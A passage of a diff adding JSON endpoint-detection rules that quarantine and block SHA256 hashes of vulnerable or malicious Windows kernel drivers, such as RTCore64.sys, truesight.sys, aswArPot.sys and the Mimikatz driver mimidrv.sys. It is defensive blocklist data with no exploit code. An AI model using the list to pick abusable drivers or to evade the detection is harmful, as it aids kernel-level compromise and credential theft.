+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "80fb12ff-e6fa-5515-abb4-4859adcd5861",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984906Z",
+  "creation_date": "2026-03-23T11:45:29.984908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984913Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36b9e31240ab0341873c7092b63e2e0f2cab2962ebf9b25271c3a1216b7669eb",
+  "comment": "Dangerous Physmem Kernel Driver (aka BS_Def64.Sys) [https://www.loldrivers.io/drivers/4a80da66-f8f1-4af9-ba56-696cfe6c1e10/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "810f4c65-b5ee-5fa9-a79e-a5095447766c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143918Z",
+  "creation_date": "2026-03-23T11:45:32.143920Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a490a57a8f57ae27571629197bb652b0f4c84f9414d09bf6cfe2ee1b175101b4",
+  "comment": "Vulnerable Kernel Driver (aka Afd.sys) [https://www.loldrivers.io/drivers/394f49b2-2d78-4d0d-b374-1399695455f3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "811b3a74-d768-5f61-baa1-75ed8525f0be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607685Z",
+  "creation_date": "2026-03-23T11:45:29.607687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f5dc63e5742096e4accaca39ae77a2a2142b438c10f97860dee4054b51d3b35",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "811dd858-c6e4-5fd1-aa2d-c3975c507389",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480729Z",
+  "creation_date": "2026-03-23T11:45:31.480733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ebb1a48c4eb16cd6213898edeb48d00a0c0fe1884b204f6b56dd9f4356f7bf8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8125580b-1172-57ea-af15-c325cb5ef891",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818737Z",
+  "creation_date": "2026-03-23T11:45:31.818741Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e510d0ef684a52cf4871520cb9ac2c4d289d0717ba9bd3a33739aab433b252b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "813d3e30-0f9e-5d35-a841-8fbf23a5a12e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161057Z",
+  "creation_date": "2026-03-23T11:45:31.161059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161065Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fc7b3f9ed8b3b21684d8691d5c4486bc6e39dabca6f293ae2205cd647e8793f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "814bdd15-d6e6-5f47-b863-1552fb334b95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970529Z",
+  "creation_date": "2026-03-23T11:45:29.970531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2456a7921fa8ab7b9779e5665e6b42fccc019feb9e49a9a28a33ec0a4bb323c4",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8154ed8d-78d0-5e50-b64e-f71e82d1e39c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976588Z",
+  "creation_date": "2026-03-23T11:45:29.976590Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29bf8618816bce5fa2845409d98b7b96915e0763bb04719535ca885e4713cfaf",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81572d04-d2a4-5e42-98a2-71372cc5a680",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155345Z",
+  "creation_date": "2026-03-23T11:45:31.155347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155353Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01423a32ba9f1f1a6652104b4123420ca0f63c0a5ad74f69e53aa553360f86c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81577f0e-291a-5ef4-a6fe-625027aed9a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484087Z",
+  "creation_date": "2026-03-23T11:45:31.484092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484100Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c67887a7bc5ae3d94cafa31901e8fcf3e2f0d2ecb33f6639066588bd721e9d2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8168b6b5-2944-53a0-8947-77355df1d3dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455473Z",
+  "creation_date": "2026-03-23T11:45:30.455476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455485Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6e9e9e0b9a23deec5f28dc45f0bbe7423565f037f74be2957e82e5f72c886094",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "816b1a64-668e-5a57-ac77-e38a9ff15280",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980734Z",
+  "creation_date": "2026-03-23T11:45:29.980736Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aab97fb324c883f1de71112e1d9fb716cef40636e39a3b9f4a5b8678cf7bde3f",
+  "comment": "Vulnerable Kernel Driver (aka CtiIo64.sys) [https://www.loldrivers.io/drivers/de365e80-45cb-48fb-af6e-0a96a5ad7777/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "816bcbb4-3406-5e44-a44a-3bd00ab98b2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142238Z",
+  "creation_date": "2026-03-23T11:45:31.142240Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7755e3bdac09106370c5676a332bf800f5790d0cf1cfc58c634127630a08f045",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "818a71b5-49cd-5e4a-b4c3-112d9eefa02a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818613Z",
+  "creation_date": "2026-03-23T11:45:30.818615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33bc9a17a0909e32a3ae7e6f089b7f050591dd6f3f7a8172575606bec01889ef",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8194e364-2d52-5277-9444-20364437d672",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146528Z",
+  "creation_date": "2026-03-23T11:45:31.146531Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "206264f6d4f14ca8e4f721c5f954d78c8f23546afafd3f6542e23c86fdffc572",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "819b1411-f51b-5f15-9299-e19e41ec8fd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975535Z",
+  "creation_date": "2026-03-23T11:45:29.975537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b37b3c6877b70289c0f43aeb71349f7344b06063996e6347c3c18d8c5de77f3b",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "819c4ced-872c-5689-808a-2138d989a314",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831344Z",
+  "creation_date": "2026-03-23T11:45:30.831347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831357Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "868a5cbf26acfa167dc582dee9e8b9449b708a2242ddb2f858f079dcb897f5ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81a05c2c-15d3-5275-a79a-bbf3b83913ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465892Z",
+  "creation_date": "2026-03-23T11:45:30.465896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465904Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "704c6ffe786bc83a73fbdcd2edd50f47c3b5053da7da6aa4c10324d389a31db4",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81a9fb1d-f1fe-527f-bc77-48da8dcc0e20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816499Z",
+  "creation_date": "2026-03-23T11:45:31.816502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816510Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ec92bab224368247d83a9faa46b771fcfaf43480904d23ff06bea5d77f3eb3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81b88910-51c6-5d1a-8c1e-1cd71b4543f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484116Z",
+  "creation_date": "2026-03-23T11:45:31.484119Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484128Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "379c0d846b505affc22a61bc5ccfc3f58c51321ab733342c6f94a1d0c8e9463e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c20eb7-0904-5b6b-ba49-480d37e16bf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969470Z",
+  "creation_date": "2026-03-23T11:45:29.969472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5512aea158c30e4f52c1e27136c1c803c98388d1d8c7269e497728fd0b57d9f5",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c311b2-2334-5add-a7fe-6e86066bd453",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482621Z",
+  "creation_date": "2026-03-23T11:45:31.482626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482635Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d79be2d97137276e5cf9fb07fef8df72dd20701e1ff4e7ec9180a8ff5567aa50",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "81c4c3e5-12cc-5826-8252-c03f54af80d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
